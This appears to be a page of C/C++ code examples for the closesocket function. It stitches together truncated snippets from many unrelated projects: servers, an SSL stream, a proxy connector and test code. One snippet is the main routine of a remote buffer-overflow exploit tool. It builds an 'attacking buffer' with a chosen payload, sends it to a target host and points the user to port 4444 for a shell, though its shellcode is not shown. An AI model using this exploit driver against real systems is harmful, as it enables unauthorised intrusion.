C++ closesocket函数代码示例

void Network::close_socket(SOCKET socket) {
	closesocket(socket);
}

// This function is used to create a new thread to handle a new client
void HandleClientThreadFunction(void * parameters){
	SOCKET clientSocket = (SOCKET)parameters;
	
	char receivedByte;
	bool done = false;
	
	// Error reporting variables
	int status;
	char msg[1024];

	// If legacy mode, send an image at startup
	if (g_bLegacy) {
		status = sendFullFrame(clientSocket);
		if (status == SOCKET_ERROR) done = true;
	}
	
	// Loop until the socket has been closed (recv returned 0) or an error occured (recv returned SOCKET_ERROR)
	while(!done){
		// Get the first byte from the client		
		status = recv(clientSocket, &receivedByte, 1, 0);
		if(status != 1) break;

		// Determine the type of request from the first byte
		switch(receivedByte) {

		case 'O':
			// Confirm that this is part of 'OK'
			if (recv(clientSocket, &receivedByte, sizeof(char), 0) != sizeof(char)) break;
			if (receivedByte != 'K') break;

			// Send entire frame to client
			status = sendFullFrame(clientSocket);
			if (status == SOCKET_ERROR) done = true;

			// Flush any queued requests
			break;

		case 'U':
			// Get requested rectangle bounds
			u_long reqX, reqY, reqWidth, reqHeight;
			if(recv(clientSocket, (char*)&reqX, sizeof(u_long), 0) != sizeof(u_long)) break;
			if(recv(clientSocket, (char*)&reqY, sizeof(u_long), 0) != sizeof(u_long)) break;
			if(recv(clientSocket, (char*)&reqWidth, sizeof(u_long), 0) != sizeof(u_long)) break;
			if(recv(clientSocket, (char*)&reqHeight, sizeof(u_long), 0) != sizeof(u_long)) break;

			// Send partial frame to client
			status = sendPartialFrame( clientSocket,
				ntohl(reqX), ntohl(reqY), ntohl(reqWidth), ntohl(reqHeight) );
			if (status == SOCKET_ERROR) done = true;

			// Flush any queued requests
			break;

		default:
			continue;
		}
	}

	// Display an error message if the socket failed
	if(status == SOCKET_ERROR){
		if(WSAGetLastError() != WSAECONNABORTED && WSAGetLastError() != WSAECONNRESET){ 
			sprintf_s(msg, 1023, "WinSock Error: %i", WSAGetLastError());
			MessageBox(NULL, msg, "USARSim Image Server", MB_OK);
		}
	}

	// Thread clean-up
	shutdown(clientSocket, SD_SEND);
	closesocket(clientSocket);
	_endthread();
}

//--------------------------------------------------
// Thread handler for individual connections
//--------------------------------------------------
void HandleClientSocket(void *pData)
{
	SocketData *data = (SocketData *)pData;
	SOCKET iClientSocket = data->socket;
    struct sockaddr_in iSockAddr = data->addr;

    SocketReader *pReader = NULL;
    SocketWriter *pWriter = NULL;

	// check client socket
	if(iClientSocket == INVALID_SOCKET)
	{
		OutputDebugString("Invalid Socket.\n");
		goto Shutdown;
	}

	// check the ip
    if(!Server::Get()->ValidateIpAddress(iSockAddr))
	{
		OutputDebugString("Ip address was rejected.\n");
		goto Shutdown;
	}
	
	// allocate request buffer
    pReader = new SocketReader(iClientSocket);

	// socket is ready for read
    if(pReader->ReadToEnd() <= 0)
    {
		OutputDebugString("Error reading socket.\n");
		goto Shutdown;
    }

    // allocate reply buffer
    pWriter = new SocketWriter(iClientSocket);

	// write the http headers
    if(ConfigManager::Get()->GetConfig()->IsHttpHeadersEnabled())
	{
        if (pWriter->WriteHeader() <= 0)
        {
			OutputDebugString("Error writing to socket: HTTP Headers.\n");
			goto Shutdown;
        }
    }
	
    // handle commands contained in the request buffer
    QueryEngine::Get()->ParseAndExecute(pReader->GetBuffer(), pWriter);
    

Shutdown: 
	// close client socket
	closesocket(iClientSocket);

    // free
    if(pReader)
        delete pReader;
    if(pWriter)
        delete pWriter;

    // free thread data
	if(data)
		delete data;
}

//.........这里部分代码省略.........
	if (port == 0) {
#ifdef WIN32
		fprintf(stderr, "ft_start_buffer_server: invalid port number given.\n");
		goto cleanup;
#else
		struct sockaddr_un sa;
		/* UNIX domain socket */
		s = socket(AF_UNIX, SOCK_STREAM, 0);
		if (s == INVALID_SOCKET) {
			perror("ft_start_buffer_server, socket");
			goto cleanup;
		}
		sa.sun_family = AF_UNIX;
		strncpy(sa.sun_path, name, sizeof(sa.sun_path));
		if (bind(s, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
			perror("ft_start_buffer_server, bind");
			goto cleanup;
		}
		SC->isUnixDomain = 0;
#endif
	} else {
		/* TCP socket */
		struct sockaddr_in sa;

		s = socket(PF_INET, SOCK_STREAM, 0);
		if (s == INVALID_SOCKET) {
			perror("ft_start_buffer_server, socket");
			goto cleanup;
		}
		/* prevend "bind: address already in use" */
		optval = 1;
		if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) < 0) {
			perror("ft_start_buffer_server, setsockopt");
			goto cleanup;
		}

		bzero(&sa, sizeof(sa));
		sa.sin_family = AF_INET;
		sa.sin_port   = htons(port);
		sa.sin_addr.s_addr = htonl(INADDR_ANY);
		if (bind(s, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
			perror("ft_start_buffer_server, bind");
			goto cleanup;
		}
		SC->isUnixDomain = 0;
	}
	
	/* place the socket in non-blocking mode, required to do thread cancelation */
#ifdef WIN32
	{
		unsigned long enable = 0;
		ioctlsocket(s, FIONBIO, &enable);
	}
#else
	optval = fcntl(s, F_GETFL, NULL);
	optval = optval | O_NONBLOCK;
	if (fcntl(s, F_SETFL, optval)<0) {
		perror("ft_start_buffer_server, fcntl");
		goto cleanup;
	}
#endif

	if (listen(s, BACKLOG)<0) {
		perror("ft_start_buffer_server, listen");
		goto cleanup;
	}
		
	/* set some control variables */
	SC->numClients = 0;
	SC->keepRunning = 1;
	SC->serverSocket = s;
	SC->verbosity = 10; /* TODO: specify proper values */
	
	/* create the mutex */
	if (pthread_mutex_init(&SC->lock, NULL) != 0) {
		fprintf(stderr,"start_tcp_server: mutex could not be initialised\n");
		goto cleanup;
	}
	
	/* create thread with default attributes */
	if (pthread_create(&SC->threadID, NULL, _buffer_server_func, SC) == 0) {
		/* everything went fine - thread should be running now */
		return SC;
	}	
	
	fprintf(stderr,"start_tcp_server: could not spawn thread\n");
	pthread_mutex_destroy(&SC->lock);

cleanup:
	if (SC != NULL) free(SC);
	if (s != INVALID_SOCKET) {
		#ifdef WIN32
		shutdown(s, SD_BOTH);
		#else
		shutdown(s, SHUT_RDWR);
		#endif
		closesocket(s);
	}
	return NULL;
}		

void TApplicationServer::nativeClose(int socket)
{
    if (socket != (int)INVALID_SOCKET)
        closesocket(socket);
}

file_error win_close_socket(osd_file *file)
{
	closesocket(file->socket);
	free(file);
	return FILERR_NONE;
}

int	SockConnector::connect(SockStream &stream, InetAddr &addr, TimeValue &tv)
{	
	int rv = 0;

	// non-block socket
	stream.set_nonblocking();
	
	#ifdef _WIN32

	// connect
	rv = ::connect(stream.get_handle(), (const struct sockaddr *) addr.get_addr(), (socklen_t)addr.get_addr_size());
	if (rv != -1) {
		rv = 0;
	}
	else  {
		if (WSAGetLastError() == WSAEWOULDBLOCK) 
		{
			//printf("connect InProgress [%d]\n", sock);
			fd_set rset;
			fd_set wset;

			FD_ZERO(&rset);
			FD_ZERO(&wset);
			FD_SET(stream.get_handle(), &rset);			
			FD_SET(stream.get_handle(), &wset);			
			
			rv = ::select(0, &rset, &wset, NULL, (struct  timeval*)tv.timeval());
			if (rv == 0) {				
				perror("connect timeout");
				rv = -1;
			}
			else if (FD_ISSET(stream.get_handle(), &rset) || FD_ISSET(stream.get_handle(), &wset)) {
				int error = 0;
				socklen_t len = sizeof(error);
				if (getsockopt(stream.get_handle(), SOL_SOCKET, SO_ERROR, (char *)&error, &len) == 0) {
					// select error
					if (error == 0) {
						rv = 0;
					}
					else {
						closesocket(stream.get_handle());						
						perror("connect");		
						rv = -1;
					}	
				}
			}
			else {
				perror("connect");		
				rv = -1;

			}
		} 
		else {
			perror("connect");
			rv = -1;
		}
	}
	#endif

	// restore file status flags
	stream.set_blocking();
	
	return rv;
}

int main(int argc, char **argv)
{
	char * remotehost=NULL;
	char default_remotehost[]="127.0.0.1";
	char temp1[100], temp2[100];
	int port, itarget, sh;
	SOCKET s;
	char c;	
	int option_index=0;
	logo();
	WSADATA wsa;
	WSAStartup(MAKEWORD(2,0), &wsa);
	if(argc<2)
	{
		usage(argv[0]);		
		return -1;
	}

	// set defaults
	port=9999;
	itarget=-1;
	sh=0;
	// ------------	
	
	while((c = getopt(argc, argv, "h:p:t:"))!= EOF)
	{
		switch (c)
		{
			case 'h':
				remotehost=optarg;
				break; 	
			case 't':
				sscanf(optarg, "%d", &itarget);
				itarget--;
				break;
			case 'p':
				sscanf(optarg, "%d", &port);
				break;			
			default:
	            usage(argv[0]);
				WSACleanup();
			return -1;
		}		
	}	
	if(remotehost == NULL) remotehost=default_remotehost;
	memset(temp1,0,sizeof(temp1));
	memset(temp2,0,sizeof(temp2));
	memset(temp1, '\x20' , 58 - strlen(remotehost) -1);	
	printf(" #  Host    : %s%s# \n", remotehost, temp1);	
	sprintf(temp2, "%d", port);
	memset(temp1,0,sizeof(temp1));
	memset(temp1, '\x20' , 58 - strlen(temp2) -1);
	printf(" #  Port    : %s%s# \n", temp2, temp1);
	memset(temp1,0,sizeof(temp1));	
	memset(temp2,0,sizeof(temp2));
	sprintf(temp2, "%s", shellcodes[sh].name );
	memset(temp1, '\x20' , 58 - strlen(temp2) -1);	
	printf(" #  Payload : %s%s# \n", temp2, temp1);	
	if(itarget!=-1)
	{
		memset(temp1,0,sizeof(temp1));	
		memset(temp1, '\x20' , 58 - strlen(targets[itarget].t) -1);	
		printf(" #  Target  : %s%s# \n", targets[itarget].t, temp1);		
	}else
	{
		memset(temp1,0,sizeof(temp1));	
		memset(temp1, '\x20' , 58 - strlen("Please select target") -1);	
		printf(" #  Target  : %s%s# \n", "Please select target", temp1);
	}
	printf(" # ------------------------------------------------------------------- # \n");
	fflush(stdout);
	printf("   [+] Checking if server is online\n");
	fflush(stdout);
	s=do_connect(remotehost, port);   
	if(s==-1)
	{
		printf("   [-] Server is OFFLINE\n");
		end_logo();
		return 0;
	}
	closesocket(s);
	printf("   [+] Server is ONLINE\n");

	
	unsigned char buf[30000];
	memset(buf,0,sizeof(buf));
	fflush(stdout);
	
	make_buffer(buf, itarget, sh);
	printf("   [+] Attacking buffer constructed\n");
	if(send_buffer(buf, remotehost,port)==-1)
	{
		printf("   [-] Cannot exploit server %s\n", remotehost);
		end_logo();
		WSACleanup();
		return -1;
	}

	printf("   [+] Buffer sent\n");
	printf("   [+] Connect to %s:%d\n", remotehost, 4444);
//.........这里部分代码省略.........

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;
	PAINTSTRUCT ps;
	HDC hdc;
	switch (message)
	{
	case WM_CREATE:
		{
			hdc = BeginPaint(hWnd, &ps);// дескриптор л¤ отображени¤ элементов окна
			startButton = CreateWindowEx(0,TEXT("button"),TEXT("Start Server"),WS_VISIBLE|WS_CHILD,700, 20, 150, 30, hWnd, (HMENU)START_ID, hInst, 0);
			stopButton = CreateWindowEx(0,TEXT("button"),TEXT("Stop Server"),WS_VISIBLE|WS_CHILD,700, 60, 150, 30, hWnd, (HMENU)STOP_ID, hInst, 0);
			addButton = CreateWindowEx(0,TEXT("button"),TEXT("Add file"),WS_VISIBLE|WS_CHILD,700, 150, 150, 30, hWnd, (HMENU)ADD_ID, hInst, 0);
			exitButton = CreateWindowEx(0,TEXT("button"),TEXT("Exit"),WS_VISIBLE|WS_CHILD,700, 350, 150, 30, hWnd, (HMENU)EXIT_ID, hInst, 0);
			hEdit			= CreateWindowEx(	0,TEXT("edit"),TEXT("127.0.0.1"), WS_CHILD | WS_VISIBLE| ES_LEFT | ES_MULTILINE,60, 10, 400, 20, hWnd, (HMENU)EDIT_ID, hInst, 0);
			hEdit2			= CreateWindowEx(	0,TEXT("edit"),TEXT("12345"), WS_CHILD | WS_VISIBLE| ES_LEFT | ES_MULTILINE,60, 40, 400, 20, hWnd, (HMENU)EDIT2_ID, hInst, 0);
			hList			= CreateWindowEx(	0,TEXT("ListBox"),0,WS_CHILD | WS_VISIBLE| ES_LEFT|ES_NUMBER, 60, 130, 500, 400, hWnd, (HMENU)LIST_ID, hInst, 0);
			EndPaint(hWnd, &ps);
			break;
		}
	case WM_COMMAND:
		wmId    = LOWORD(wParam);
		wmEvent = HIWORD(wParam);
		// –азобрать выбор:
		switch (wmId)
		{
		case IDM_EXIT:
			DestroyWindow(hWnd);
			break;
		case EXIT_ID:
			DestroyWindow(hWnd);
			break;
		case ADD_ID:
		{
			OPENFILENAME ofn;
			PSTR FileName  = new char [255];
			lstrcpy(FileName,"");
			ZeroMemory(&ofn,sizeof(ofn));										// очистим структуру
			ofn.lStructSize = sizeof(ofn);
			ofn.hwndOwner = hWnd;
			ofn.lpstrFile = FileName;
			ofn.lpstrFilter = "WAV\0*.wav";// маскафильтра добавлени¤ файла
			ofn.nFilterIndex = 1;//айдишник структуры
			ofn.lpstrFileTitle = NULL;
			ofn.nMaxFileTitle = 0;
			ofn.lpstrInitialDir = NULL;
			ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
			ofn.nMaxFile = 9999;
			ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_ALLOWMULTISELECT | OFN_EXPLORER;
			bool ret = GetOpenFileName(&ofn); 
			DefWindowProc(hWnd, WM_PAINT, wParam, lParam);
			SendMessage(hList,LB_ADDSTRING,wParam,(LPARAM)ofn.lpstrFile);
			SendMessage(hList,LB_SETCURSEL,0,0);
			break;
		}
		case START_ID:
		{
			WSAStartup(MAKEWORD(2,2), &wsaData);										// Initialize Winsock
			SendRecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);					// Create a SOCKET for connecting to server
			// Setup the TCP listening socket
			ServerAddr.sin_family=AF_INET;												//семейство адресов 
			char S[255];
			SendMessage(hEdit, WM_GETTEXT, 255, (LPARAM)S);
			ServerAddr.sin_addr.s_addr = inet_addr( S );
			SendMessage(hEdit2, WM_GETTEXT, 255, (LPARAM)S);
			int tmp = atoi(S); // число
			ServerAddr.sin_port=htons(tmp);
			err = bind( SendRecvSocket, (sockaddr *) &ServerAddr, sizeof(ServerAddr));	// св¤зывание адреса с сокетом
			if (err == SOCKET_ERROR) 
			{
				char strerr[256];
				int tmp = WSAGetLastError();
				sprintf(strerr,"%d",tmp);
				std::string tmp_S;
				tmp_S="ERROR number: ";
				tmp_S+=strerr;
				MessageBox(hWnd,(LPCSTR)strerr,tmp_S.c_str(),  MB_ICONERROR);
				closesocket(SendRecvSocket);
				WSACleanup();
				break;
			}
			WIN32_FIND_DATA FindFileData;
			HANDLE hFind;
			int el=-100;
			el=SendMessage(hList,LB_GETCURSEL,0,0);
			if (el==-1)
			{
				MessageBox(hWnd,"Add element", "ERROR", MB_ICONERROR);
				closesocket(SendRecvSocket);
				WSACleanup();
				break;
			}
			SendMessage(hList,LB_GETTEXT, el, (LPARAM)TransFileName);
			hFind = FindFirstFile((LPCSTR)TransFileName, &FindFileData);
			FindClose(hFind);
			ifs.open(TransFileName,std::ios_base::binary);
			SetTimer(hWnd,100500,50,NULL);
			break;
		}
		case STOP_ID:
//.........这里部分代码省略.........

static int
new_ssl_stream(const char *name, int fd, enum session_type type,
               enum ssl_state state, struct stream **streamp)
{
    struct ssl_stream *sslv;
    SSL *ssl = NULL;
    int retval;

    /* Check for all the needful configuration. */
    retval = 0;
    if (!private_key.read) {
        VLOG_ERR("Private key must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!certificate.read) {
        VLOG_ERR("Certificate must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!ca_cert.read && verify_peer_cert && !bootstrap_ca_cert) {
        VLOG_ERR("CA certificate must be configured to use SSL");
        retval = ENOPROTOOPT;
    }
    if (!retval && !SSL_CTX_check_private_key(ctx)) {
        VLOG_ERR("Private key does not match certificate public key: %s",
                 ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
    }
    if (retval) {
        goto error;
    }

    /* Disable Nagle.
     * On windows platforms, this can only be called upon TCP connected.
     */
    if (state == STATE_SSL_CONNECTING) {
        setsockopt_tcp_nodelay(fd);
    }

    /* Create and configure OpenSSL stream. */
    ssl = SSL_new(ctx);
    if (ssl == NULL) {
        VLOG_ERR("SSL_new: %s", ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
        goto error;
    }
    if (SSL_set_fd(ssl, fd) == 0) {
        VLOG_ERR("SSL_set_fd: %s", ERR_error_string(ERR_get_error(), NULL));
        retval = ENOPROTOOPT;
        goto error;
    }
    if (!verify_peer_cert || (bootstrap_ca_cert && type == CLIENT)) {
        SSL_set_verify(ssl, SSL_VERIFY_NONE, NULL);
    }

    /* Create and return the ssl_stream. */
    sslv = xmalloc(sizeof *sslv);
    stream_init(&sslv->stream, &ssl_stream_class, EAGAIN, name);
    sslv->state = state;
    sslv->type = type;
    sslv->fd = fd;
    sslv->ssl = ssl;
    sslv->txbuf = NULL;
    sslv->rx_want = sslv->tx_want = SSL_NOTHING;
    sslv->session_nr = next_session_nr++;
    sslv->n_head = 0;

    if (VLOG_IS_DBG_ENABLED()) {
        SSL_set_msg_callback(ssl, ssl_protocol_cb);
        SSL_set_msg_callback_arg(ssl, sslv);
    }

    *streamp = &sslv->stream;
    return 0;

error:
    if (ssl) {
        SSL_free(ssl);
    }
    closesocket(fd);
    return retval;
}

DWORD WINAPI ServerWorkerThread(LPVOID CompletionPortID)
{
	DWORD					dwBytesTransferred = 0;

	CSessionInfo*			pSessionInfo = NULL;
	_LPTCOMPLETIONPORT		lpPerIoData = NULL;

	char					szPacket[DATA_BUFSIZE * 2];
	char					szMsg[32];
	char					*pszPos;

	while (TRUE)
	{
		if ( GetQueuedCompletionStatus( 
										(HANDLE)CompletionPortID, 
										&dwBytesTransferred, 
										(LPDWORD)&pSessionInfo, 										
										(LPOVERLAPPED *)&lpPerIoData, 
										INFINITE) == 0)
		{
			if (g_fTerminated)
				return 0;

			//失败关闭
			if (pSessionInfo)
			{
				szMsg[0] = '%';
				szMsg[1] = 'X';

				char *pszPos = ValToAnsiStr((int)pSessionInfo->sock, &szMsg[2]);

				*pszPos++	= '$';
				*pszPos		= '\0';

				SendExToServer(szMsg); 

				g_xSessionList.RemoveNodeByData(pSessionInfo);

				closesocket(pSessionInfo->sock);
				pSessionInfo->sock = INVALID_SOCKET;

				UpdateStatusBar(FALSE);

				//GlobalFree(pSessionInfo);
				CSessionInfo::ObjPool().reclaimObject(pSessionInfo);
			}

			continue;
		}

		if (g_fTerminated)
			return 0;

		if (dwBytesTransferred == 0)
		{
			szMsg[0] = '%';
			szMsg[1] = 'X';

			char *pszPos = ValToAnsiStr((int)pSessionInfo->sock, &szMsg[2]);

			*pszPos++	= '$';
			*pszPos		= '\0';

			SendExToServer(szMsg); 

			g_xSessionList.RemoveNodeByData(pSessionInfo);

			closesocket(pSessionInfo->sock);
			pSessionInfo->sock = INVALID_SOCKET;

			UpdateStatusBar(FALSE);

			//GlobalFree(pSessionInfo);
			CSessionInfo::ObjPool().reclaimObject(pSessionInfo);
			continue;
		}


		// ORZ:
		pSessionInfo->bufLen += dwBytesTransferred;

		while ( pSessionInfo->HasCompletionPacket() )
		{
			szPacket[0]	= '%';
			szPacket[1]	= 'A';
			pszPos		= ValToAnsiStr( (int) pSessionInfo->sock, &szPacket[2] );
			*pszPos++	= '/';
			pszPos		= pSessionInfo->ExtractPacket( pszPos );
			*pszPos++	= '$';
			*pszPos		= '\0';

			SendExToServer( szPacket );
		}

		// ORZ:
		if ( pSessionInfo->Recv() == SOCKET_ERROR && WSAGetLastError() != ERROR_IO_PENDING )
		{
			InsertLogMsg(_TEXT("WSARecv() failed"));
			
			CloseSession(pSessionInfo->sock);
//.........这里部分代码省略.........

	void SocketX::Close()
	{
		closesocket(socket_);
	}

static int proxy_connect_none(const char *host, unsigned short port_, struct PHB *phb)
{
	struct sockaddr_in me;
	int fd = -1;

	if (phb->gai_cur == NULL) {
		int ret;
		char port[6];
		struct addrinfo hints;

		g_snprintf(port, sizeof(port), "%d", port_);

		memset(&hints, 0, sizeof(struct addrinfo));
		hints.ai_family = AF_UNSPEC;
		hints.ai_socktype = SOCK_STREAM;
		hints.ai_flags = AI_ADDRCONFIG | AI_NUMERICSERV;

		if (!(ret = getaddrinfo(host, port, &hints, &phb->gai))) {
			phb->gai_cur = phb->gai;
		} else {
			event_debug("gai(): %s\n", gai_strerror(ret));
		}
	}

	for (; phb->gai_cur; phb->gai_cur = phb->gai_cur->ai_next) {
		if ((fd = socket(phb->gai_cur->ai_family, phb->gai_cur->ai_socktype, phb->gai_cur->ai_protocol)) < 0) {
			event_debug("socket failed: %d\n", errno);
			continue;
		}

		sock_make_nonblocking(fd);

		if (global.conf->iface_out) {
			me.sin_family = AF_INET;
			me.sin_port = 0;
			me.sin_addr.s_addr = inet_addr(global.conf->iface_out);

			if (bind(fd, (struct sockaddr *) &me, sizeof(me)) != 0) {
				event_debug("bind( %d, \"%s\" ) failure\n", fd, global.conf->iface_out);
			}
		}

		event_debug("proxy_connect_none( \"%s\", %d ) = %d\n", host, port_, fd);

		if (connect(fd, phb->gai_cur->ai_addr, phb->gai_cur->ai_addrlen) < 0 && !sockerr_again()) {
			event_debug("connect failed: %s\n", strerror(errno));
			closesocket(fd);
			fd = -1;
			continue;
		} else {
			phb->inpa = b_input_add(fd, B_EV_IO_WRITE, proxy_connected, phb);
			phb->fd = fd;

			break;
		}
	}

	if (fd < 0 && host) {
		phb_free(phb, TRUE);
	}

	return fd;
}

//.........这里部分代码省略.........
                GetLastError() ); 
        }

        Fail(   "WSASocket call failed with error code %d\n",
                dwSocketError ); 
    }
    
    /* set the socket to non-blocking */
    one = 1;
    err = ioctlsocket( sock, FIONBIO, &one );
    if( err != 0 )
    {
        /* check the socket-specific error code */    
        dwSocketError = GetLastError();
        Fail(   "ioctlsocket call failed with error code %d\n",
                dwSocketError ); 
    }
    
    
    /* bind local address to a socket */
    err = bind( sock,
                (struct sockaddr *)&mySockaddr,
                sizeof(struct sockaddr) );

    
    if( err == SOCKET_ERROR )
    {
        Trace("ERROR: Unexpected failure: "
              "bind() socket with local address "
              "returned %d\n",
              GetLastError() );       

        /* Do some cleanup */
        if (closesocket( sock )==SOCKET_ERROR )
        {
            Trace("Error closing socket\n");                
        }
       
        if (WSACleanup()==0 )
        {                
            Trace("WSACleanup call failed with error code %u\n",
                GetLastError() ); 
        }

        Fail("");
    }

    /* create an event */
    hReadEvent = CreateEvent( NULL, /* no security   */
                             FALSE,   /* reset type    */
                             FALSE,   /* initial state */
                             NULL );  /* object name   */
            
    if( hReadEvent == NULL )
    {            
        Trace("Server error: Unexpected failure: "
              "CreateEvent() "
              "returned %d\n",
              GetLastError());

         /* Do some cleanup */
        if (closesocket( sock )==SOCKET_ERROR )
        {
            Trace("Error closing socket\n");                
        }
        

static void
dns_server(void)
{
	int sock;
	struct sockaddr_in my_addr;
	struct evdns_server_port *port;
	struct in_addr resolve_addr;

	dns_ok = 1;
	fprintf(stdout, "DNS server support: ");

	/* Add ourself as the only nameserver, and make sure we really are
	 * the only nameserver. */
	evdns_nameserver_ip_add("127.0.0.1:35353");
	if (evdns_count_nameservers() != 1) {
		fprintf(stdout, "Couldn't set up.\n");
		exit(1);
	}

	/* Now configure a nameserver port. */
	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock == -1) {
		perror("socket");
		exit(1);
	}
#ifdef WIN32
	{
		u_long nonblocking = 1;
		ioctlsocket(sock, FIONBIO, &nonblocking);
	}
#else
	fcntl(sock, F_SETFL, O_NONBLOCK);
#endif
	memset(&my_addr, 0, sizeof(my_addr));
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(35353);
	my_addr.sin_addr.s_addr = htonl(0x7f000001UL);
	if (bind(sock, (struct sockaddr*)&my_addr, sizeof(my_addr)) < 0) {
		perror("bind");
		exit (1);
	}
	port = evdns_add_server_port(sock, 0, dns_server_request_cb, NULL);

	/* Send two queries. */
	evdns_resolve_ipv4("zz.example.com", DNS_QUERY_NO_SEARCH,
					   dns_server_gethostbyname_cb, NULL);
	evdns_resolve_ipv6("zz.example.com", DNS_QUERY_NO_SEARCH,
					   dns_server_gethostbyname_cb, NULL);
	resolve_addr.s_addr = htonl(0xc0a80b0bUL); /* 192.168.11.11 */
	evdns_resolve_reverse(&resolve_addr, 0,
						  dns_server_gethostbyname_cb, NULL);

	event_dispatch();

	if (dns_ok) {
		fprintf(stdout, "OK\n");
	} else {
		fprintf(stdout, "FAILED\n");
		exit(1);
	}

	evdns_close_server_port(port);
	evdns_shutdown(0); /* remove ourself as nameserver. */
#ifdef WIN32
	closesocket(sock);
#else
	close(sock);
#endif
}